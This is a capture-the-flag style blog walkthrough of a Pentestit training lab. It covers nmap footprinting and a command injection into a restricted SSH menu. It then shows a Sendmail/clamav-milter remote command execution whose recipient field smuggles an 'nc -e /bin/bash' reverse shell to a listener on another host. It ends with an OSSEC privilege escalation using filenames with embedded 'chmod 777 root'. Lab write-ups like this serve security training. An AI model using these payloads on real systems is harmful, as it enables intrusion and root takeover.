In my previous post “Pentestit Lab v11 - Cloud Token (8/12)”, we utilized tcpdump for Network Reconnaissance on the compromised 192.168.10.1 machine, accessed the cloud server via intercepted credentials, cracked a KeePass Password Hash, and found our eighth token. Today we will go back and footprint the 192.168.11.X subnet to see if we missed anything - which will include the following:
- Footprinting the 192.168.11.X Subnet
- Exploiting a Remote Command Execution Vulnerability in SendMail
- Exploiting a Privilege Escalation Vulnerability in OSSEC
- Finding the ClamAV Token
Footprinting the 192.168.11.X Subnet
If you recall correctly, in my previous post we compromised 192.168.10.1 and were able to receive our Cloud token. After I was done, I decided to fall back to the 192.168.11.1 device and enumerate the subnet to see if any of the other 192.168.11.x devices were running anything of interest.
To do so, let’s simply SSH back into the device, and exploit the command injection vulnerability to get a interactive shell.
root@kali:~/pentestit# ssh -i remote.key remote@192.168.11.1
########################################
Enter ServerName or Q for exit:
########################################
Srv1
Srv2
########################################
Enter VM name for connect: Srv;/bin/dash 1>&2
cat: /opt/gh/Srv: No such file or directory
$ bash
##########################
PasswordAuthentication no
##########################
remote@tl11-192-168-11-1:~$
Great, now that we have our shell let’s go ahead and run an Nmap scan for the local subnet.
remote@tl11-192-168-11-1:~$ nmap -sV -Pn -n 192.168.11.1-5
Starting Nmap 6.47 ( http://nmap.org ) at 2017-07-27 02:29 MSK
Nmap scan report for 192.168.11.1
Host is up (0.0020s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for 192.168.11.2
Host is up (0.0032s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for 192.168.11.3
Host is up (0.0029s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
80/tcp open http nginx
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for 192.168.11.4
Host is up (0.0027s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for 192.168.11.5
Host is up (0.0026s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
25/tcp open smtp Sendmail
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 5 IP addresses (5 hosts up) scanned in 26.77 seconds
Out of all the machines, 192.168.11.5 looks the most interesting as it’s running SendMail.
I decided to look for a SendMail Exploit in the Exploit Database and came across the Sendmail with clamav-milter < 0.91.2 - Remote Command Execution Vulnerability.
One of the things that really got me thinking and connecting the dots at this point was the fact that ClamAV was in the title. It would make sense that the admins deployed ClamAV on their network as one of ClamAV’s main uses is on mail servers as a server-side email virus scanner.
Exploiting a Remote Command Execution Vulnerability in SendMail
After reading about the SendMail Exploit and learning how it functions I decided to connect to SendMail via Netcat and carry out the exploitation manually… never really trusted exploits to work all the time.
root@kali:~/pentestit# nc 192.168.11.5 25
220 tl11-192-168-11-5.mail-dev ESMTP Sendmail 8.14.4/8.14.4/Debian-8+deb8u2; Thu, 27 Jul 2017 03:30:43 +0300; (No UCE/UBE) logging access from: [192.168.11.254](TEMP)-[192.168.11.254]
Once connected to TCP/25 on the 192.168.11.5 device, run the ehlo you command to perform a handshake with the SMTP server.
ehlo you
250-tl11-192-168-11-5.mail-dev Hello [192.168.11.254], pleased to meet you
250-ENHANCEDSTATUSCODES
250-PIPELINING
250-EXPN
250-VERB
250-8BITMIME
250-SIZE
250-DSN
250-ETRN
250-AUTH DIGEST-MD5 CRAM-MD5
250-DELIVERBY
250 HELP
Awesome, so far so good! Let’s go ahead and finish up the exploit.
But hold up! We have no idea what Command Execution we should be using, nonetheless it’s a Remote Command Execution, and we don’t know what system to target!
After some time spent researching, and going through the machines in the lab I finally figured out that I can utilize a Reverse Shell via this exploit, but one that only worked for the 192.168.10.1 device, the same place where the FTP Server was connecting to!
This made me realize that the 192.168.10.1 device seemed to be an Administrative Device and one that was possibly running the most critical software for the Company - Firewalls, AV, SMTP, FTP, etc.
Either way, after knowing this I attempted to get a Reverse Shell on the 192.168.10.1 device.
First I needed to set up a listener on the 192.168.10.1 device, like so:
root@kali:~/pentestit# ssh -i remote.key remote@192.168.11.1
########################################
Enter ServerName or Q for exit:
########################################
Srv1
Srv2
########################################
Enter VM name for connect: Srv;/bin/dash 1>&2
cat: /opt/gh/Srv: No such file or directory
$ bash
##########################
PasswordAuthentication no
##########################
remote@tl11-192-168-11-1:~$ ssh -i /home/remote/.ssh/id_rsa -o StrictHostKeyChecking=no aengineer@192.168.10.1
You have new mail.
Last login: Wed Jul 12 16:52:02 2017 from 192.168.11.1
##########################
PasswordAuthentication no
##########################
aengineer@tl11-192-168-10-1:~$ nc -nvlp 1234
listening on [any] 1234 ...
After that’s done, let’s return to our other terminal and finish up the exploit to connect to the 192.168.10.1 device!
mail from:<>
250 2.1.0 <>... Sender ok
rcpt to:<nobody+"|/bin/nc -e /bin/bash 192.168.10.1 1234"@localhost>
250 2.1.5 <nobody+"|/bin/nc -e /bin/bash 192.168.10.1 1234"@localhost>... Recipient ok
data
354 Enter mail, end with "." on a line by itself
.
250 2.0.0 v6R0UhsR001036 Message accepted for delivery
Looks like we got a shell! But let’s jump over to 192.168.10.1 and double check!
listening on [any] 1234 ...
connect to [192.168.10.1] from (UNKNOWN) [192.168.11.5] 25328
python -c 'import pty; pty.spawn("/bin/sh")'
$ bash
bash
##########################
PasswordAuthentication no
##########################
clamav@tl11-192-168-11-5:/tmp/clamav-31b51b47d94a30ef5c5a79d491b78aa7$
Exploiting a Privilege Escalation Vulnerability in OSSEC
Once I got a Reverse Shell on the 192.168.11.5 device via the SendMail/ClamAV Exploit I decided to dig around and see what I could find.
After some time enumerating I noticed that I didn’t have enough privileges on the 192.168.11.5 device, so I needed to find a way to escalate my privileges.
With what I already knew I decided that I should be looking for Privilege Escalation Vulnerabilities in either ClamAV, or by looking at SUID/GUID misconfigurations.
After some time spent researching I came across OSSEC and found an OSSEC 2.7 < 2.8.1 - ‘diff’ Command Privilege Escalation Vulnerability which would allow for low privilege users to execute commands as root.
I thought that this wasn’t a stupid idea to try and that it’s very highly likely that the ClamAV server was running OSSEC, so I said, why not and decided to give the exploit a try and see if we can’t modify the permissions of the root folder.
clamav@tl11-192-168-11-5:/tmp/clamav-31b51b47d94a30ef5c5a79d491b78aa7$ cd ~/
cd ~/
clamav@tl11-192-168-11-5:~$ touch "x-\$(chmod 777 root)"
touch "x-\$(chmod 777 root)"
clamav@tl11-192-168-11-5:~$ nano x*
nano x*
Error opening terminal: unknown.
clamav@tl11-192-168-11-5:~$ echo "abc" > x-*
echo "abc" > x-*
clamav@tl11-192-168-11-5:~$ touch "y-\$(chmod 777 root)"
touch "y-\$(chmod 777 root)"
clamav@tl11-192-168-11-5:~$ echo "xyz" > y-*
echo "xyz" > y-*
clamav@tl11-192-168-11-5:~$ ls -la /
ls -la /
total 89
drwxr-xr-x 22 root root 4096 Apr 1 22:18 .
drwxr-xr-x 22 root root 4096 Apr 1 22:18 ..
drwxr-xr-x 2 root root 4096 Jun 30 11:51 bin
drwxr-xr-x 4 root root 1024 Jun 30 12:00 boot
drwxr-xr-x 17 root root 3140 Jul 27 03:14 dev
drwxr-xr-x 85 root root 4096 Jul 5 00:00 etc
drwxr-xr-x 3 root root 4096 Apr 20 22:07 home
lrwxrwxrwx 1 root root 31 Apr 1 22:18 initrd.img -> /boot/initrd.img-3.16.0-4-amd64
lrwxrwxrwx 1 root root 30 Aug 18 2013 initrd.img.old -> /boot/initrd.img-3.2.0-4-amd64
drwxr-xr-x 17 root root 4096 Apr 20 21:46 lib
drwxr-xr-x 2 root root 4096 Jun 30 11:49 lib64
drwx------ 2 root root 16384 Aug 18 2013 lost+found
drwxr-xr-x 3 root root 4096 Aug 18 2013 media
drwxr-xr-x 2 root root 4096 Apr 1 21:26 mnt
drwxr-xr-x 5 root root 4096 Jun 24 11:38 opt
dr-xr-xr-x 91 root root 0 Jul 27 03:14 proc
drwxrwxrwx 5 root root 4096 Jul 12 16:39 root
drwxr-xr-x 17 root root 580 Jul 27 03:14 run
drwxr-xr-x 2 root root 12288 Jun 30 11:53 sbin
drwxr-xr-x 2 root root 4096 Aug 18 2013 srv
dr-xr-xr-x 13 root root 0 Jul 27 03:14 sys
drwxrwxrwt 8 root root 4096 Jul 27 03:55 tmp
drwxr-xr-x 10 root root 4096 Aug 18 2013 usr
drwxr-xr-x 12 root root 4096 Apr 20 22:26 var
lrwxrwxrwx 1 root root 27 Apr 1 22:18 vmlinuz -> boot/vmlinuz-3.16.0-4-amd64
lrwxrwxrwx 1 root root 26 Aug 18 2013 vmlinuz.old -> boot/vmlinuz-3.2.0-4-amd64
Finding the ClamAV Token
Awesome! We were able to change the permissions of the root folder! Let’s see what’s inside!
clamav@tl11-192-168-11-5:~$ cd /root
cd /root
clamav@tl11-192-168-11-5:/root$ ls -la
ls -la
total 80
drwxrwxrwx 5 root root 4096 Jul 12 16:39 .
drwxr-xr-x 22 root root 4096 Apr 1 22:18 ..
drwx------ 2 root root 4096 Nov 25 2016 .aptitude
-rw------- 1 root root 7559 Jul 12 16:40 .bash_history
-rw-r--r-- 1 root root 674 Sep 3 2016 .bashrc
drwx------ 3 root root 4096 May 1 2015 .config
-rw------- 1 root root 51 Apr 20 21:44 .lesshst
-rw------- 1 root root 407 Jul 4 21:36 .nano_history
-rw-r--r-- 1 root root 140 Nov 19 2007 .profile
-rw------- 1 root root 1024 Apr 20 22:17 .rnd
-rw-r--r-- 1 root root 66 Apr 21 12:56 .selected_editor
drwxr-xr-x 2 root root 4096 Jul 12 16:39 .ssh
-rw------- 1 root root 11611 Jul 12 16:39 .viminfo
-rwxr-xr-x 1 root root 38 Nov 5 2014 ipt.sh
-rwx------ 1 root root 665 Jun 24 11:40 process_checker_mail.sh
-rwx------ 1 root root 459 Apr 21 12:55 process_checker_ossec.sh
-rw-r--r-- 1 root root 23 Jun 30 18:08 token
clamav@tl11-192-168-11-5:/root$ cat token
cat token
*****************
And there we have it, our token!
Token (9/12)
Congrats on finding the token! Go ahead and submit it on the main page to gain points for it!
You might be wondering why I didn’t post the actual token. Well, what would be the fun in that if I did? Go through and actually try to get the token via the SendMail and OSSEC Exploit.
You learn by doing, so go through this walkthrough, and the lab - and learn something new!
That’s all for now, stay tuned for my next post as we compromise Token (10/12) - The Access Token!
Leave a Comment